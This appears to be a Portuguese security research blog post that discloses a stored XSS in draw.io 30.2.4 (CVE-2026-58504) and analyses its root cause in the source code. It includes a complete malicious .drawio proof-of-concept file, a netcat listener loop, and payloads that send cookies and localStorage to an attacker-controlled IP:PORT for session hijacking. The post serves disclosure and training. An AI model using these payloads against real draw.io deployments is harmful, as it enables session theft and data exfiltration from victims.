Durante uma análise do código-fonte do draw.io (também conhecido como diagrams.net), uma ferramenta open source amplamente utilizada para criação de diagramas como fluxogramas, arquiteturas de sistemas, ER e UML, o time Yokai da Hakai Security identificou uma vulnerabilidade de Stored XSS (CWE-79) catalogada como CVE-2026-58504 (GHSA-c76x-r78m-phwx).
A vulnerabilidade está relacionada à função mxUtils.canConvertHtmlToSvg() e permite a execução de JavaScript arbitrário quando a vítima abre ou importa um arquivo ".drawio" malicioso.
O que é o draw.io, afinal?
O draw.io, também conhecido como diagrams.net, é uma ferramenta open-source de criação de diagramas em fluxogramas, diagramas de arquitetura, ER, UML, mindmaps, essas coisas. Roda no navegador, tem versão desktop, e é super popular embutido em ferramentas corporativas como Confluence, Jira, Notion, Nextcloud, GitLab e vários wikis internos por aí. Basicamente: se sua empresa faz diagramas, tem uma boa chance de estar rodando draw.io em algum lugar.
Os arquivos .drawio são XML, o que significa que eles carregam estrutura, estilos e, como vamos ver, labels controlados pelo usuário.
A correção, sem corrigir
O draw.io / diagrams.net 30.2.4 tem uma Stored XSS (CWE-79), catalogada como CVE-2026-58504 (GHSA-c76x-r78m-phwx), disparada quando a vítima abre ou importa um arquivo .drawio malicioso. O payload executa como JavaScript na origem da instância do draw.io, o que, em deploys embutidos (Confluence, Jira, wikis), significa executar na origem da aplicação hospedeira. A falha foi corrigida na versão 30.2.5.
Isso é um bypass do fix da GHSA-fqhg-287p-c6vf, corrigida na 29.7.12. O patch anterior sanitizou o caminho errado e o bug voltou por uma janela lateral.
A anatomia do bug
O sink encontra-se em mxUtils.canConvertHtmlToSvg(), localizado no arquivo src/main/webapp/mxgraph/src/util/mxUtils.js, onde o valor recebido é inserido diretamente no DOM por meio de div.innerHTML = value, sem passar por htmlEntities ou sanitizeHtml. Essa função é chamada por TextFormatPanel.addFont() (src/main/webapp/js/grapheditor/Format.js), dentro do loop de feature-detection que itera as células selecionadas e obtém cada label via getLabelValue(). Embora o uso de innerHTML sem sanitização já represente um risco, o ponto central da análise é compreender como esse dado percorre a aplicação até alcançar esse trecho sem qualquer validação. Isso chama atenção porque o draw.io utiliza mecanismos de escape de forma consistente em diversas outras partes do código. Assim, a vulnerabilidade não é consequência de um único erro de implementação, mas da interação entre três decisões arquiteturais que, apesar de corretas de forma isolada, tornam-se incompatíveis quando combinadas.
O escape depende do "tipo" da célula
O mecanismo de escape varia de acordo com o tipo de célula. No draw.io, as células são classificadas conforme sua configuração de estilo em três categorias: plain text (texto simples), wrap (texto com quebra automática de linha, mas ainda tratado como texto) e HTML (html=1).
Durante o processo de renderização, o tratamento aplicado ao conteúdo do label depende dessa classificação, fazendo com que cada tipo siga um fluxo de processamento distinto.
// Graph.js — cellRenderer.getLabelValue
var result = mxCellRenderer.prototype.getLabelValue.apply(this, arguments);
if (state.view.graph.isHtmlLabel(state.cell))
{
if (mxUtils.getValue(state.style, 'html', '0') == '0')
result = mxUtils.htmlEntities(result, false); // wrap -> escapado
else
result = Graph.sanitizeHtml(result); // html=1 -> sanitizado
}
return result; // plain -> CRU
As células classificadas como plain text sequer passam por essa verificação. Essa é a primeira decisão de projeto que faz sentido isoladamente: se o conteúdo será tratado exclusivamente como texto durante a renderização, não há motivo para aplicar rotinas de escape antecipadamente, evitando processamento desnecessário.
O contrato implícito é que o valor retornado pode permanecer "cru", cabendo ao componente que o consome aplicar as proteções necessárias antes de inseri-lo no DOM. Na maior parte da aplicação, esse contrato é respeitado, e os consumidores realizam suas próprias validações ou mecanismos de escape antes de utilizar esse conteúdo, como no exemplo a seguir:
if (!isHtmlLabel) value = mxUtils.htmlEntities(value);
O gate que autoriza o caminho HTML
O bloco vulnerável em Format.js só roda quando a seleção "é HTML". A decisão sai daqui:
var formatted = mxUtils.getValue(ss.style, 'html', 0) == '1';
O objeto ss.style representa o estilo agregado da seleção, obtido a partir da combinação dos estilos de todas as células selecionadas. A lógica é simples: se todas as células possuem html=1, o painel habilita os recursos de formatação rica; caso contrário, formatted recebe o valor false, impedindo que o fluxo destinado a conteúdo HTML seja utilizado.
Entretanto, essa regra possui uma ressalva importante. Durante a agregação dos estilos, células marcadas com editable=0 são desconsideradas pelo algoritmo. Em outras palavras, embora façam parte da seleção, elas não influenciam o cálculo de ss.style, conforme ilustrado no trecho abaixo:
// EditorUi.js — EditorUi.prototype.createSelectionState
if (mxUtils.getValue(style, mxConstants.STYLE_EDITABLE, '1') != '0')
{
this.updateSelectionStateForCell(result, cells[i], cells, initial);
}
Faz sentido no domínio do produto: célula travada não deveria influenciar o painel de formatação, o usuário nem pode mexer nela. Segunda decisão razoável.
A inconsistência no processamento da seleção
Até este ponto, a lógica parece consistente: o estado da interface é definido a partir do estilo agregado da seleção, desconsiderando células marcadas com editable=0. O problema surge na etapa seguinte. O loop responsável por processar os labels percorre todas as células selecionadas, sem aplicar o mesmo critério utilizado durante a agregação dos estilos:
// Format.js — TextFormatPanel.addFont()
var hasUnsupported = false;
var cells = graph.getSelectionCells(); // TUDO, inclusive editable=0
for (var i = 0; i < cells.length && !hasUnsupported; i++)
{
var cellState = graph.view.getState(cells[i]);
var label = (cellState != null) ? graph.cellRenderer.getLabelValue(cellState) : null;
if (label != null && label.length > 0 && !mxUtils.canConvertHtmlToSvg(label, {...}))
{
hasUnsupported = true;
}
}
// mxUtils.js — mxUtils.canConvertHtmlToSvg()
canConvertHtmlToSvg: function(value, opts)
{
var div = document.createElement('div');
div.innerHTML = (value != null) ? value : ''; // SINK
return mxUtils.convertHtmlToSvg(div, null, null, opts);
}
Essa decisão também faz sentido quando analisada isoladamente. O objetivo do loop é realizar feature detection: interpretar o conteúdo de cada label para identificar quais recursos estão presentes e, assim, determinar quais opções da barra de ferramentas devem ser habilitadas. Sob essa perspectiva, ignorar parte da seleção significaria perder informações potencialmente relevantes.
A vulnerabilidade surge porque a premissa utilizada por esse loop não é a mesma adotada na etapa de validação. O gate considera apenas um subconjunto das células ao decidir se a seleção deve ser tratada como HTML, enquanto o consumidor percorre toda a seleção e processa cada label encontrado. Como consequência, uma célula excluída da decisão do gate ainda pode alcançar o innerHTML, criando uma inconsistência entre quem autoriza o fluxo e quem efetivamente consome os dados. Em outras palavras, dois componentes da aplicação fazem suposições diferentes sobre quais células são relevantes, abrindo espaço para um cenário clássico de confused deputy.
Construindo o exploit
Com essa inconsistência estabelecida, a construção do exploit torna-se direta. Basta utilizar duas células com funções distintas:
- Célula A: configurada com
html=1e contendo um label benigno. Sua única função é garantir que formatted permaneça com o valortrue, fazendo com que o fluxo vulnerável seja executado. - Célula B: configurada com
editable=0ehtml=0, contendo o payload XSS. Como células não editáveis são ignoradas durante a agregação dess.style, sua presença não altera o valor deformatted. Entretanto, ela continua fazendo parte da seleção e é processada pelo loop responsável por analisar os labels. Nesse momento,getLabelValue()retorna o conteúdo como plain text, que é posteriormente inserido no DOM por meio deinnerHTML, sem qualquer sanitização.
O disparo da vulnerabilidade também ocorre de forma automática. O TextFormatPanel executa a etapa de feature detection durante sua inicialização, independentemente de a aba Text estar visível ao usuário. Sempre que a seleção é reconstruída, o painel é recriado e o fluxo vulnerável é executado novamente.
Durante o processo de importação de um diagrama, as células recém-importadas são automaticamente selecionadas pela aplicação. Como consequência, o payload é processado imediatamente após a abertura do arquivo, sem exigir qualquer interação adicional do usuário. Na prática, basta abrir o arquivo malicioso para que o XSS seja acionado.
Passo a passo
Inicie um listener na máquina do atacante para receber a requisição de exfiltração:
while true; do
printf 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n' | nc -lvnp PORT
done
- Salve o arquivo de prova de conceito (PoC) como
poc.drawio, substituindoIP:PORTpelo endereço do listener configurado na etapa anterior. - Envie o arquivo para a vítima e solicite que ele seja aberto no
draw.io 30.2.4. - Durante a importação do diagrama, a aplicação seleciona automaticamente as células importadas, reconstruindo o
TextFormatPanel. Esse processo aciona o fluxo vulnerável, executa o payload e envia os dados de exfiltração para o servidor do atacante.
O arquivo ficará assim:
<mxfile host="app.diagrams.net">
<diagram name="Pagina-1" id="poc">
<mxGraphModel dx="800" dy="600" grid="0" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="850" pageHeight="1100" math="0" shadow="0">
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
<mxCell id="A" value="rotulo benigno" style="rounded=0;whiteSpace=normal;html=1;" vertex="1" parent="1">
<mxGeometry x="40" y="40" width="160" height="40" as="geometry" />
</mxCell>
<mxCell id="B" value="<img src=x onerror="this.onerror=null;new Image().src='http://IP:PORT/c?'+encodeURIComponent(document.cookie)">" style="text;html=0;editable=0;" vertex="1" parent="1">
<mxGeometry x="40" y="120" width="260" height="40" as="geometry" />
</mxCell>
</root>
</mxGraphModel>
</diagram>
</mxfile>
O label da célula B, depois do decode das entidades XML, vira:
<img src=x onerror="this.onerror=null;new Image().src='http://IP:PORT/c?'+encodeURIComponent(document.cookie)">
Para uma validação rápida, sem necessidade de infraestrutura adicional, basta substituir o conteúdo da célula B por <img src=x onerror=alert(document.domain)>. Ao abrir o arquivo, o alert será executado no contexto da origem do draw.io, confirmando a execução do JavaScript.
A seguir é apresentado um PoC minimalista que, em vez de exibir um alert ou realizar uma exfiltração de dados, apenas envia uma requisição HTTP GET para um listener controlado pelo atacante. O objetivo é confirmar a execução do payload no contexto da aplicação de forma simples e não intrusiva.

Basta um python3 -m http.server do outro lado pra ver o hit chegando. Confirmado o disparo, é só evoluir o payload.
Prova de impacto — Roubo de sessão
A vulnerabilidade foi validada em uma instância self-hosted do draw.io 30.2.4, configurada sem uma diretiva script-src restritiva na Content Security Policy (CSP). Nessas condições, o payload de exfiltração é executado com sucesso no contexto da aplicação.
Após a execução do payload, o servidor controlado pelo atacante recebe os dados expostos pela origem da aplicação, incluindo cookies acessíveis via document.cookie (como rl_session, quando configurado sem o atributo HttpOnly), identificadores de telemetria e rastreamento (por exemplo, PostHog e RudderStack) e todo o conteúdo armazenado em localStorage.
A captura desses artefatos demonstra que o JavaScript injetado é executado com os mesmos privilégios da aplicação, permitindo o acesso a informações da sessão do usuário e a outros dados disponíveis no contexto da origem.

Com o token na mão, hijack de sessão autenticada. A mesma primitiva serve pra ler localStorage (onde muitos deploys guardam token OAuth / access token) ou o próprio diagrama aberto:
<img src=x onerror="this.onerror=null;fetch('http://IP:PORT/x',{method:'POST',mode:'no-cors',body:JSON.stringify({u:location.href,c:document.cookie,l:{...localStorage}})})">
Impacto
O impacto da vulnerabilidade vai além da simples execução de JavaScript. Na prática, basta que a vítima abra um arquivo .drawio especialmente elaborado para que código arbitrário seja executado no contexto da origem da aplicação.
Uma vez obtida essa execução, um atacante pode:
- Ler e exfiltrar o conteúdo do diagrama atualmente aberto.
- Acessar cookies disponíveis via
document.cookiee dados armazenados em localStorage, incluindo credenciais ou tokens de autenticação quando armazenados no lado do cliente.
Executar requisições autenticadas same-origin em nome da vítima, explorando a sessão já estabelecida na aplicação.
O cenário torna-se ainda mais relevante em implantações nas quais o draw.io é incorporado a outras plataformas, como Confluence, Jira, wikis corporativas ou aplicações SaaS. Nesses casos, o payload é executado no contexto da origem da aplicação hospedeira, ampliando significativamente a superfície de impacto.
Do ponto de vista do vetor de ataque, a exploração exige apenas que a vítima abra um arquivo .drawio malicioso, recebido por canais comuns de compartilhamento, como e-mail, Slack, sistemas de chamados ou pull requests. Trata-se, portanto, de um cenário compatível com campanhas de phishing baseadas em arquivos, sem necessidade de interação adicional além da abertura do diagrama.
Conclusão
À primeira vista, a vulnerabilidade parecia ser apenas mais um caso de uso inseguro de innerHTML. No entanto, a análise do fluxo revelou um problema mais sutil: a falha não estava em um único ponto do código, mas na inconsistência entre componentes que faziam suposições diferentes sobre quais células deveriam participar do processamento. Enquanto o mecanismo responsável por decidir se o conteúdo poderia ser tratado como HTML desconsiderava células editable=0, o consumidor final processava toda a seleção, permitindo que um label aparentemente inofensivo alcançasse um sink inseguro.
Esse tipo de vulnerabilidade demonstra como decisões de implementação corretas, quando analisadas isoladamente, podem introduzir falhas de segurança quando combinadas. Não houve a ausência de mecanismos de escape no projeto como um todo; o problema surgiu porque dois fluxos independentes deixaram de compartilhar a mesma premissa de confiança.
Vamos praticar!
O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio Drawing simula um servidor com a vulnerabilidade mencionada nesta postagem e pode ser utilizado para reforçar o conhecimento apresentado.